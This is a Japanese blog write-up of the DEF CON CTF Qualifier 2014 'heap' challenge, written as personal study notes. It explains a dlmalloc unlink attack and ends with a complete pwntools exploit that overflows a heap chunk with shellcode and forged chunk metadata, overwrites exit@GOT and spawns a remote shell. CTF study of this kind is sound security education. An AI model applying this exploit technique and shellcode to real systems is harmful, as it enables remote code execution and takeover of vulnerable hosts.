1日ひとつだけ強くなる

おべんきょうのーと

DEF CON CTF Qualifier 2014: heap

はじめに

katagaitai勉強会#1の資料を見ながら解いてみました。

まず、heapについてはスライドとこちらの動画が参考になりました。まだ前半しか理解できていないのですが、折を見てもう一度見てみたいと思います。

The 67th Yokohama kernel reading party - YouTube

事前調査

$ file ./heap
./heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
$ checksec ./heap
[*] '/home/ubuntu/writeup/bata/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX有効でPartial RELROです。

まず動かしてみる。

$ python -c "print 'A'*260 " | ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=81B7008][size=1246]
[ALLOC][loc=81B74F0][size=1121]
[ALLOC][loc=81B7958][size=947]
[ALLOC][loc=81B7D10][size=741]
[ALLOC][loc=81B8000][size=706]
[ALLOC][loc=81B82C8][size=819]
[ALLOC][loc=81B8600][size=673]
[ALLOC][loc=81B88A8][size=1004]
[ALLOC][loc=81B8C98][size=952]
[ALLOC][loc=81B9058][size=755]
[ALLOC][loc=81B9350][size=260]
[ALLOC][loc=81B9458][size=877]
[ALLOC][loc=81B97D0][size=1245]
[ALLOC][loc=81B9CB8][size=1047]
[ALLOC][loc=81BA0D8][size=1152]
[ALLOC][loc=81BA560][size=1047]
[ALLOC][loc=81BA980][size=1059]
[ALLOC][loc=81BADA8][size=906]
[ALLOC][loc=81BB138][size=879]
[ALLOC][loc=81BB4B0][size=823]
Write to object [size=260]:
Copied 261 bytes.
[FREE][address=81B7008]
[FREE][address=81B74F0]
[FREE][address=81B7958]
[FREE][address=81B7D10]
[FREE][address=81B8000]
[FREE][address=81B82C8]
[FREE][address=81B8600]
[FREE][address=81B88A8]
[FREE][address=81B8C98]
[FREE][address=81B9058]
Segmentation fault (core dumped)

入力を促されます。`[size=260]とあるので、260文字入力してみると、セグメンテーション違反で落ちます。ここで問題文の最初にも書いてあるようにヒープBOFが起きているみたいです。

解析してみると、以下のことがわかります。

  1. 20回mallocでランダムなサイズのメモリ確保
  2. そのアドレスとサイズを配列として保存
  3. 11番目のchunkは260byteでサイズ固定
  4. 11番目のchunkに最大0x1000byteの入力がmemcpyで保存される
  5. 20個のchunkを順にfree

Unlink Attack

mallocで確保されたchunkは以下の図のようになっていて、このchunkがヒープ領域に連続して20個並んでいます。

f:id:hal0taso:20170322165154p:plain

今はヒープBOFが可能なので、これを利用してUnlink Attackを行います。具体的にはChunk[10]に対してヒープBOFさせて、Chunk[11]をfree済みの状態と同様の構造にします。free済みのチャンクは、再利用時の高速化のためにfd, bkメンバをポインタとする双方向連結リスト構造をとります。この時、Chunk[11]がfree済みとすると、Chunk[10]をfreeする際に、連続したチャンクを結合するためにChunk[11]をリストから外す処理が発生します。この時、適切にポインタを書き換えることによってUnlink時に他のポインタを書き換えることができる(書いてたら無限に説明事項があったので詳しくは資料を見て)

Chunk[10]がfreeされる時、以下の図のようになります。この時、unlinkをする判定として、直上チャンクと直下チャンクがfree済みかどうかを確認します。size変数の下位1ビットはPREV_INUSEビットと呼ばれ、直前のチャンクが利用中かどうかを表します(利用中なら1,free済みなら0)。よって、直上は自身のsize変数のPREV_INUSEビット、直下は2つ下のチャンクのsize変数のPREV_INUSEビットを確認します。今回は、直上のチャンクはすでにfree済みであることがわかっているので、直下のチャンクについて注目します。ここで、それぞれのチャンクのアドレスは、チャンクのsizeを加算することによって求められます。

f:id:hal0taso:20170322174643p:plain

ヒープBOFを使ってChunk[11]のサイズを適当な値にし、fd,bkの値に適当なポインタを保存してfree済みであるように書き換えます。この際に、Chunk[11]のsizeの末尾1ビットを1にして、Chunk[12]の末尾1ビットを0にすることに注意します。NX有効だったのですが、調べてみるとheap領域が実行可能なので、bkが10番目のチャンクのポインタを指すようにしてあげて、直接シェルコードを注入します。この際に、チャンクの中身が今回はPartial RELROなのでgot overwriteを行います。書き換えるのは、freeの結果を出力しているprintfでも終了時に呼ばれるexitでもいいと思います。この時、ヒープ領域は下図のようなイメージでBOFします。

f:id:hal0taso:20170323004240p:plain

exploit

最終的にこうなりました。

from pwn import *
import sys

def bp():
    raw_input()


host = sys.argv[1]
port = int(sys.argv[2])
    
r = remote(host, port)

prompt = 'Write to object [size=260]:\n'



recv = r.recvuntil(prompt)
heap_addr = int(re.findall(r"loc=([^]]+)", recv)[10],16)

print recv
print "======heap_addr======"
print hex(heap_addr)

shellcode = asm(shellcraft.sh())
# from shellstorm
# shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf_len = 0x104

buf = '\xeb\x08\x90\x90'
buf += '\x90'*0x10
buf += shellcode
buf += '\x90'*(buf_len - len(buf))
buf += p32(0xfffffffc|1)
# exit@got
buf += p32(0x804c020 - 8)
# print@got
# buf += p32(0x0804c004 - 8)
buf += p32(heap_addr)
buf += ''
# bp()
r.sendline(buf)

r.interactive()

感想

heapの問題は初めてだったので、とても勉強になった。今回は資料見ながら一緒に解いてたので解けたものの、heapは書き換え時の状態遷移のイメージが難しいなぁという印象だった…

書き換える場所さえイメージできればいいのかな…?類題が資料に載っているので、これに取り組みながら慣れていきたいと思います。